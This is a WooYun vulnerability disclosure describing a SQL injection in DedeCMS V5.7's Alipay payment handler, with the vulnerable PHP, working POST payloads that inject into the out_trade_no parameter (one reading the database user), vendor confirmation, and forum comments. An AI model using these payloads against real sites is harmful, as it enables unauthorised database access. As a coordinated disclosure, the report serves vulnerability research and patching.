当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(69) 关注此漏洞

缺陷编号: WooYun-2014-63744

漏洞标题: DedeCMS-V5.7-UTF8-SP1 sql注入

相关厂商: Dedecms

漏洞作者: menmen519

提交时间: 2014-06-06 17:31

公开时间: 2014-09-04 17:32

漏洞类型: SQL注射漏洞

危害等级: 高

自评Rank: 20

漏洞状态: 厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 安全意识不足 php源码审核 sql注射漏洞利用技巧 php源码分析 后台验证绕过 安全意识不足

8人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-06-06: 细节已通知厂商并且等待厂商处理中
2014-06-06: 厂商已经确认,细节仅向厂商公开
2014-06-09: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2014-07-31: 细节向核心白帽子及相关领域专家公开
2014-08-10: 细节向普通白帽子公开
2014-08-20: 细节向实习白帽子公开
2014-09-04: 细节向公众公开

简要描述:

DedeCMS-V5.7-UTF8-SP1 代码审计sql注入

详细说明:

织梦在/include/payment/alipay.php(lines:125-161)

code 区域
if (!empty($_POST))
{
foreach($_POST as $key => $data)
{
$_GET[$key] = $data;
}
}
/* 引入配置文件 */
$code = preg_replace( "#[^0-9a-z-]#i", "", $_GET['code'] );
//require_once DEDEDATA.'/payment/'.$code.'.php';
/* 取得订单号 */
$order_sn = trim($_GET['out_trade_no']);
/*判断订单类型*/
if(preg_match ("/S-P[0-9]+RN[0-9]/",$order_sn)) {
//检查支付金额是否相符
$row = $this->dsql->GetOne("SELECT * FROM #@__shops_orders WHERE oid = '{$order_sn}'");
if ($row['priceCount'] != $_GET['total_fee'])
{
return $msg = "支付失败,支付金额与商品总价不相符!";
}
$this->mid = $row['userid'];
$ordertype="goods";
}else if (preg_match ("/M[0-9]+T[0-9]+RN[0-9]/", $order_sn)){
$row = $this->dsql->GetOne("SELECT * FROM #@__member_operation WHERE buyid = '{$order_sn}'");
//获取订单信息,检查订单的有效性
if(!is_array($row)||$row['sta']==2) return $msg = "您的订单已经处理,请不要重复提交!";
elseif($row['money'] != $_GET['total_fee']) return $msg = "支付失败,支付金额与商品总价不相符!";
$ordertype = "member";
$product = $row['product'];
$pname= $row['pname'];
$pid=$row['pid'];
$this->mid = $row['mid'];
} else {
return $msg = "支付失败,您的订单号有问题!";
}



其中大家可以看到137行直接通过$_GET获取订单号: $order_sn = trim($_GET['out_trade_no']); 这里并没有做任何处理,但是奇怪的是上面有个require_once地方只要这里引入,就不会继续往下执行,只有两种可能性,要么是程序支付逻辑接口缺陷,要么就是需要其他外界条件,我们暂且注释掉这一行 //require_once DEDEDATA.'/payment/'.$code.'.php';

下来我们看文件/uploads/plus/carbuyaction.php(lines:334-337)

code 区域
} else if ($dopost == 'return') { $write_list = array('alipay', 'bank', 'cod', 'yeepay'); if (in_array($code, $write_list)) { require_once DEDEINC.'/payment/'.$code.'.php'; $pay = new $code; $msg=$pay->respond(); ShowMsg($msg, "javascript:;", 0, 3000); exit(); } else { exit('Error:File Type Can\'t Recognized!'); } }







走到这里我们一下明白了整个支付逻辑,然后我们构造请求如下: url:http://localhost/DedeCMS-V5.7-UTF8-SP1/uploads/plus/carbuyaction.php post_data:dopost=return&code=alipay&out_trade_no=S-P0098RN0098' 后台监控到的sql语句为: SELECT * FROM dede_shops_orders WHERE oid = 'S-P0098RN0098'' LIMIT 0,1 看到此处大家都明白了,所以可能是自己没有办法去操作一整套支付流程,也可能是织梦支付接口缺陷导致 到这里位置,唯一可以肯定的就是,这一段代码肯定是有问题,而且是大问题,目前还在挖取,相关织梦已建站这一块





漏洞证明:

为了验证自己的猜想,我们上官方的演示站点:

http://**.**.**.**/plus/carbuyaction.php



url:http://localhost/DedeCMS-V5.7-UTF8-SP1/uploads/plus/carbuyaction.php post_data:dopost=return&code=alipay&out_trade_no=M1T1RN1' or concat(char(@`'`),(SELECT user())))#



证实逻辑完全符合猜想:

15.png





16.png



修复方案:

过滤特殊字符

版权声明:转载请注明来源 menmen519@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:7

确认时间:2014-06-06 19:41

厂商回复:

已修复,感谢提交

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2014-06-06 17:33 | dlevr ( 实习白帽子 | Rank:33 漏洞数:10 | 菜鸟一只,大神勿喷!)
    0

    沙发是我的!

  2. 2014-06-06 17:37 | 邪恶大咖 ( 路人 | Rank:15 漏洞数:3 )
    0

    卖黑阔了,两块钱一斤!

  3. 2014-06-06 17:37 | MeTeOrs ( 路人 | Rank:6 漏洞数:5 | 永远不要以正常的思维对待你的目标!)
    0

    前排出售各种小吃

  4. 2014-06-06 17:40 | bey0nd ( 普通白帽子 | Rank:941 漏洞数:148 | 相忘于江湖,不如相濡以沫)
    0

    nice

  5. 2014-06-06 18:57 | 帅爆的小烬烬 ( 路人 | Rank:30 漏洞数:25 | 路上有个漂亮妹子和我搭讪,知道我赶着去挖...)
    0

    前排观望,本人帮刷QB支付50¥刷10QB,欢迎联系

  6. 2014-06-06 19:03 | 小鸡鸡 ( 实习白帽子 | Rank:40 漏洞数:10 )
    2

    找个玩渗透网站的、教我玩渗透、我给他8位qq和情侣qq。(qq都是04年和05年前的。

  7. 2014-06-06 19:37 | 小权 ( 路人 | Rank:4 漏洞数:3 | 小菜鸟,求各位大姐大哥多多指教)
    0

    卧槽,楼上都是大牛,后排出售瓜子,可乐,优乐美。。。

  8. 2014-06-06 19:43 | Byakuya ( 路人 | Rank:17 漏洞数:3 | http://www.wooyun.org/whitehats/Byakuya)
    0

    磨剪子嘞 戗菜刀

  9. 2014-06-07 10:14 | 五色花 ( 路人 | Rank:0 漏洞数:1 | jvav)
    0

    磨剪子嘞 戗菜刀

  10. 2014-06-08 18:53 | 暧昧 ( 路人 | Rank:6 漏洞数:3 | 此号乃是吾用来装孙子也)
    0

    顶个

  11. 2014-06-09 11:01 | 奋斗的猴子 ( 路人 | Rank:2 漏洞数:1 | IT界的一名屌丝)
    0

    求细节!

  12. 2014-06-10 07:31 | 07@jyhack.com ( 路人 | Rank:14 漏洞数:10 | 希望和大家多多交流,多多沟通、)
    0

    卧槽,楼上都是大牛,后排出售瓜子,可乐,优乐美。。。

  13. 2014-06-10 09:12 | by:龙少 ( 普通白帽子 | Rank:353 漏洞数:81 | 信息安全,学习、进步、共勉!)
    0

    卧槽,楼上都是大牛,后排出售雪碧,可乐,优乐美。。。

  14. 2014-06-10 10:31 | xiaoshi ( 路人 | Rank:7 漏洞数:2 )
    0

    ...毁梦CMS

  15. 2014-06-12 11:20 | BMa 认证白帽子 ( 核心白帽子 | Rank:2014 漏洞数:223 )
    0

    又出了,,

  16. 2014-06-12 15:33 | 123丶 ( 路人 | Rank:2 漏洞数:2 | 初学菜鸟一只,请多指教)
    0

    卧槽,楼上都是大牛,后排出售节操,贞操。。。

  17. 2014-07-18 12:52 | pandas ( 普通白帽子 | Rank:701 漏洞数:79 | 国家一级保护动物)
    0

    漏洞挖掘追求完美和谐的利用

  18. 2014-11-22 19:57 | 小菜大师 ( 路人 | Rank:0 漏洞数:1 | 最神奇的一群人,智慧低调又内敛,俗称马甲...)
    1

    不错 有没有最新dedecms exp秒杀的?.

登录后才能发表评论,请先 登录